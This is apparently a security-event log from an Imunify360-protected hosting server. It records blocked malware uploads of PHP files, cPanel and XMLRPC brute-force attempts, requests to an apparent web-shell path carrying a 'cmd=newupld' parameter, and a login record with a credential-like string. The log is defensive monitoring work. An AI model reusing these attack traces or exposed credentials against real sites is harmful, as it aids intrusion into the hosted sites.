IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-17-at-18.41.28-300x300.webp HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.69.18
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/education-et-nutrition-le-gouvernement-etend-les-cantines-scolaires-a-161-630-enfants_i1200-300x169.webp HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 23:45:16 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.57.52.23
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_ba4cc2135d79faefe28d070ad9d25a43.css?ver=3.3.79 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.10.85
country_id: 3624060
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/dist/hooks.min.js?ver=dd5603f07f9220ed27f1 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.211.14
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 64 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=033910&h=7&m=45&s=18&url=http:/togodailynews.tg/category/societe/page/64/&uid=0&pid=0&visitorId=6a74a17c1872da86&fvts=1781739918&vc=1&idn=0&refts=0&lvts=1781739918&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=6870&pvId=PMjBV3&browser=Chrome_44&os=Android_6.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.10.85
country_id: 3624060
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2023/04/Page-7-A-768x576.jpeg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.219.139
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2023/03/photo-8-mars-2-768x615.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.57.52.89
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 65 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=560300&h=7&m=45&s=58&url=http:/togodailynews.tg/category/societe/page/65/&uid=0&pid=0&visitorId=25c17240fbbbf8c7&fvts=1781739959&vc=1&idn=0&refts=0&lvts=1781739959&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=12324&pvId=R28EcF&browser=Chrome_42&os=Android_6.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 155.254.22.57
country_id: 6252001
description:
155.254.22.57 - - [17/Jun/2026:23:47:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920049&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740018 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/index.php?cmd=newupld" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:155.254.22.57


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:47:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:47:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:47:53 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-17 23:48:12 +0000] info [cpaneld] 45.61.130.187 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 65.130.10.175
country_id: 6252001
description:
65.130.10.175 - - [17/Jun/2026:23:48:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13341800&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740090 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/index.php?cmd=newupld" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16_0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:65.130.10.175


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 104.28.225.117
country_id: 2921044
domain: arse.tg
description:
IM360 WAF: Attempt to upload malware||Action:img_upload||Scan duration:170511||Sizes:296||Combined size:296||User:arsetg||WPU:||Filename:6zg27xr6ya.php||Scanned:/tmp//20260617-234910-ajMydt52AeZ_jHQXBnmEHQAAAA0-file-JuBSlT||SC:/home/arsetg/public_html/wp-admin/admin-ajax.php||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:23:48:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184390&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740129 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9528686&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740131 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 104.28.225.117
country_id: 2921044
domain: arse.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.18||T:APACHE||SC:/home/arsetg/public_html/wp-admin/admin-ajax.php||User:arsetg||WPU:||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.246.188.74
country_id: 2750405
description:
[2026-06-17 23:49:12 +0000] info [cpaneld] 185.246.188.74 - yydrdvav "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.246.188.74
country_id: 2750405
description:
185.246.188.74 - yydrdvav [17/Jun/2026:23:49:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526870&pdata=https%253A%252F%252Fvitrinenews.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740151 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.246.188.74


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 104.28.225.117
country_id: 2921044
domain: cfpj.tg
description:
IM360 WAF: Track file upload for Infectors||RSV:8.18||T:APACHE||SC:/home/cfpjusti/public_html/wp-admin/admin-ajax.php||User:cfpjusti||WPU:||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.246.188.74
country_id: 2750405
description:
[2026-06-17 23:49:32 +0000] info [cpaneld] 185.246.188.74 - yydrdvav "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.246.188.74
country_id: 2750405
description:
185.246.188.74 - yydrdvav [17/Jun/2026:23:49:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776012&pdata=https%253A%252F%252Fvitrinenews.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740170 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.246.188.74


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 104.28.225.117
country_id: 2921044
domain: cfpj.tg
description:
IM360 WAF: Attempt to upload malware||Action:img_upload||Scan duration:276057||Sizes:296||Combined size:296||User:cfpjusti||WPU:||Filename:rmsxd28ksb.php||Scanned:/tmp//20260617-235001-ajMyqdohXeiA8tdN_j0XlQAAADQ-file-HpRKTd||SC:/home/cfpjusti/public_html/wp-admin/admin-ajax.php||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.130.161
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/02/Livre-dor.jpg 800w, http:/togodailynews.tg/wp-content/uploads/2025/02/Livre-dor-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2025/02/Livre-dor-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2025/02/Livre-dor-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.61.223.52
country_id: 2017370
domain: monde-ai.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.monde-ai.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:53:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250438&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740388 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [17/Jun/2026:23:53:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723220&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740389 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:53:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842475&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740390 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [17/Jun/2026:23:53:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921367&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-9-choses-a-savoir-avant-dv-lottery%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740411 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-9-choses-a-savoir-avant-dv-lottery/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.127.173
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/c1aa93 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-17 23:58:04 +0000] info [cpaneld] 107.175.5.177 NEW hgfdcvbnk:WTlnHUN182rgv7ZM address=107.175.5.177,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.235
country_id: 3469034
description:
Jun 18 00:01:16 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.173.223
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:amelioration-du-systeme-de-sante-fatoumata-binta-diallo-felicite-faure-gnassingbe/||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.120.15
country_id: 2077456
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 70 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=199248&h=8&m=0&s=33&url=http:/togodailynews.tg/category/societe/page/70/&uid=0&pid=0&visitorId=f350e66719e9f59a&fvts=1781740833&vc=1&idn=0&refts=0&lvts=1781740833&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=27360&pvId=LJo8S1&browser=Chrome_49&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.104.179.76
country_id: 102358
description:
[2026-06-18 00:02:08 +0000] info [cpaneld] 37.104.179.76 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.128.86.251
country_id: 3686110
description:
[2026-06-18 00:02:12 +0000] info [cpaneld] 181.128.86.251 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:02:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.53.216.158
country_id: 2017370
description:
[2026-06-18 00:01:49 +0000] info [cpaneld] 84.53.216.158 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.122.182.93
country_id: 3865483
description:
[2026-06-18 00:01:55 +0000] info [cpaneld] 190.122.182.93 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.220.61.125
country_id: 2017370
description:
[2026-06-18 00:02:04 +0000] info [cpaneld] 95.220.61.125 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:02:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.235
country_id: 3469034
description:
Jun 18 00:01:24 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.235 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:02:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:02:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 156.155.19.26
country_id: 953987
description:
156.155.19.26 - - [18/Jun/2026:00:02:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608034&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F72%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781740942 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/72/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.7266.1401 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.155.19.26


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.81.144
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/625c5d HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.162.73.200
country_id: 3469034
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/general-info-2/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.230.93.86
country_id: 1512440
description:
213.230.93.86 - - [18/Jun/2026:00:05:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737370&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F75%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741118 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/75/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.8391.1771 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.230.93.86


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:04:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924505&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741087 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [18/Jun/2026:00:04:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973343&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741086 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.6
country_id: 1880251
description:
